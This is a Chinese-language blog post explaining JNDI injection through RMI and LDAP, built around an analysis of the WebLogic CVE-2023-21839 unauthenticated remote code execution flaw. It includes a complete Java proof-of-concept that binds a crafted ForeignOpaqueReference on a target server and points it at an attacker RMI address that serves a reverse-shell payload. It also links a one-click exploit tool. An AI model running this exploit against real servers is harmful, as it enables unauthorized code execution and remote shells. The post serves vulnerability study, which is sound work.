首页 > 其他分享 >深入理解JNDI注入—RMI/LDAP攻击

深入理解JNDI注入—RMI/LDAP攻击

时间：2024-09-18 09:06:50浏览次数：7  
标签：漏洞 绑定 JNDI lookup LDAP RMI 远程

目录

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章，导致我想写一篇通俗易懂能理解到底啥是JNDI注入，怎么lookup的。

当然不排除国外英文文章有很好的解释，但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候，最终会执行到lookup函数，然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量，再者lookup支持远程方法调用（RMI）、轻型目录访问协议（LDAP）、域名服务（DNS）。

定眼一看RMI、LDAP、DNS，肾上腺素拉满，这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为：JNDI+RMI、JNDI+LDAP、JNDI+DNS，最具杀伤力的自然是rmi和ldap协议，能够远程绑定对象执行代码。（这里别蒙圈，知道这俩协议配合JNDI能够远程执行代码即可）

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显，有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构（CORBA）

透过Weblogic漏洞深入理解

该漏洞为：Weblogic未授权远程代码执行漏洞(CVE-2023-21839)

下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击，这也是为啥我不满意网上大部分文章的原因，没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点，毕竟还是参考了很多大佬文章的，各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌，你只需要知道最终触发的还是lookup函数即可，上面的解释就是为了你在朋友面前装13的而已，显得你很牛13。
    漏洞可以概括为：因为weblogic支持t3和iiop协议绑定远程对象，然后绑定的远程对象是ForeignOpaqueReferent的话，客户端通过jndi查询的时候，服务端其实是调用了远程对象的getRefernet函数进行实例化，然后在这个函数里面进行了lookup查找，查找的是remoteJNDIName，这个就是漏洞点，我们可以通过反射机制修改这个remoteJNDIName，也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注：！！！补充，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同，两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是：RMI/LDAP远程对象引用安全限制存在差异)

参考文章：
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓里面有写一段，解决了我的对两个协议的疑惑：↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制，本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象)，为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制，如果该值为false(不信任远程引用对象)，一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始，java.rmi.server.useCodebaseOnly默认值改为了true。
  • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。
    本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。（但不受java.rmi.server.useCodebaseOnly影响）

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了，那么就无需看下面分析了，因为这里我写的原因就是因为不相信别人说的，我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。

  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析，使用RMI攻击。
    分析前要记住一点：Weblogic t3/iiop协议支持远程绑定对象bind到服务端

    • 允许绑定对象这一点很重要，既然允许绑定对象，那么我们就需要找一个能够触发lookup且变量可控的类去绑定，这样我们才能够实现JNDI注入攻击。

  • 巧的是：当远程对象继承自OpaqueReference时，lookup查看远程对象，查询的变量是remoteJNDIName(可通过反射机制控制)。
    这里又发现一篇文章写得不错，我参考了一二：https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓

    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象，并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象，触发ForeignOpaqueReference.getReferent的调用，从而造成恶意JNDI注入。

    通过lookup查询该恶意对象：这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发，这也就是为啥我选weblogic这个漏洞来解释的原因，他的poc就是你自己来决定绑定后是否进行lookup攻击的，很直接了当告诉你就是lookup触发的，别不信，你自己决定是否lookup攻击。
    注：！！！我还要再次补充就是，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章：https://xz.aliyun.com/t/12297
下图为：ForeignOpaqueReference的父类OpaqueReference，可以看到里面存在getReferent函数，这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent，你看我框住的就行，你会发现我们只要满足下面两点：

  1. jndiEnvironment不为空，就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改，说白了就是在lookup查询你绑定好的对象时，就会调用ForeignOpaqueReference.getReferent()，然后就去触发受害端后台的lookup，接着执行你控制好的remoteJNDIName，所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入。

在这里插入图片描述
以下是RMI的漏洞攻击POC：
注明：本人没有测试poc是否成功，建议使用集成工具一键搭好攻击环境：
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ，然后设置好值后，远程绑定ForeignOpaqueReference对象，然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象，这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps：上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ，看不懂可以接下去看lookup触发链。
    （我已大彻大悟，不知道友悟到没。）
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因，下面介绍的是知道了进行lookup后，lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(从下JNDI_Test的函类开始往上看)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首。
其他调用过程就不讲了，有感兴趣可以看参考文章：https://xz.aliyun.com/t/12297
接着讲：getObjectFactoryFromReference干了啥，以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的，在参考文章中也有告诉我就是：URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

至此，历尽千辛万苦，透过一个23年的weblogic漏洞分析JNDI到此结束。

JNDI+LDAP

同理RMI，就是有版本的安全配置限制，上面也讲了两个协议的区别，但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释，道友莫怪。
感谢看到这里的道友~

标签：漏洞,绑定,JNDI,lookup,LDAP,RMI,远程
From： https://www.cnblogs.com/dhan/p/18417881

相关文章

  • Formily基础
    Formily基础formilyformily是一款面向中后台复杂场景的数据+协议驱动的表单框架，也是阿里巴巴集团统一表单解决方案,可以完成复杂表单需求，而且提供了表单设计器让我们快速设计表单核心优势高性能字段数据极多的情况下保持快速响应，可以实现高效联动逻辑跨端能力与框架无......
  • meticulously carved, exuding charming charm.
    Title:"TheElegantArtontheHead" Inthelongriveroftime,therearealwayssomebeautifulscenesthatareunforgettable.Andthatelegantlycoiledlonghairisthemostresplendentpearlamongthem. Longhairislikesilk,gracefullyc......
  • 容器化部署LDAP
    容器化部署LDAP和PHP-LDAP-Admin可以帮助你在Docker环境中快速搭建和管理LDAP服务。1.部署OpenLDAP容器password='123456'dockerrun\-d-p389:389-p636:636\--nameopenldap\--restart=always\--hostnameopenldap\-v/data/docker_tmp/openldap......
  • nginx 安装服务后，启动报：An attempt was made to access a socket in a way forbidden
    1、nginx1.18.0安装服务成功后，启动服务的时候，一闪直接报错：2、查看Nginx的日志error.log发现启动一次报一条错，并且都是一样的：2024/09/1414:42:18[emerg]6852#6280:bind()to0.0.0.0:80failed(10013:Anattemptwasmadetoaccessasocketinawayforbiddenbyit......
  • LdapSrvWeight和LdapSrvPriority一起使用时，优先级如何确定？
    LdapSrvWeight和LdapSrvPriority一起使用时，LdapSrvPriority的优先级高于LdapSrvWeight。LdapSrvPriority直接决定了域控制器的优先级顺序，值越低表示优先级越高，客户端会优先尝试连接这些域控制器。而LdapSrvWeight则是按照比例来分配客户端连接请求，当LdapSrvPriority相同的域控制器......
  • Android Studio报错： Could not find pub.devrel:easypermissions:0.3.0， 改用linux编译
    在Androidstudio中去编译开源的仓库，大概率就是各种编译不过，一堆错误，一顿改错，基本上会耗费非常多时间，比如：这个就是改gradle版本，改成7.2，修改完成之后，还有其他报错： Executionfailedfortask':app:checkDebugDuplicateClasses'.>Couldnotresolveallfilesforconfiguration......
  • permission_required 权限需要添加应用名称
    Django之所以能在permission_required='view_customer'中正常判断权限，是因为它在默认情况下使用当前视图所属应用的app_label。如果没有显式指定应用名，Django会假设权限属于当前视图对应的应用。在customers应用中，permission_required='view_customer'能够正常工作，原......
  • 在Windows中，如何设置LdapSrvPriority的值？
    在Windows中，设置LdapSrvPriority的值可以通过修改注册表来实现。具体步骤如下：打开注册表编辑器（regedit）。导航至HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters路径。在右侧空白处，右键点击选择“新建”->“DWORD（32位）值”。将新建的值命名为LdapSrvPrior......
  • 如何优化LdapSrvPriority值的设置
    优化LdapSrvPriority值的设置，可以通过修改Windows注册表中的相应条目来实现。具体步骤如下：打开注册表编辑器（regedit）。导航至HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters路径。在右侧窗格中，新建一个DWORD值，命名为LdapSrvPriority。双击该值，输入一个......
  • 如何判断LdapSrvPriority的设置是否生效？
    要判断LdapSrvPriority的设置是否生效，可以通过以下步骤进行验证：查看注册表设置：确认在注册表路径“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters”下是否已创建“LdapSrvPriority”子键，并检查其值是否已设置为预期的值。查看SRV记录：使用DNS管理器或Ns......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99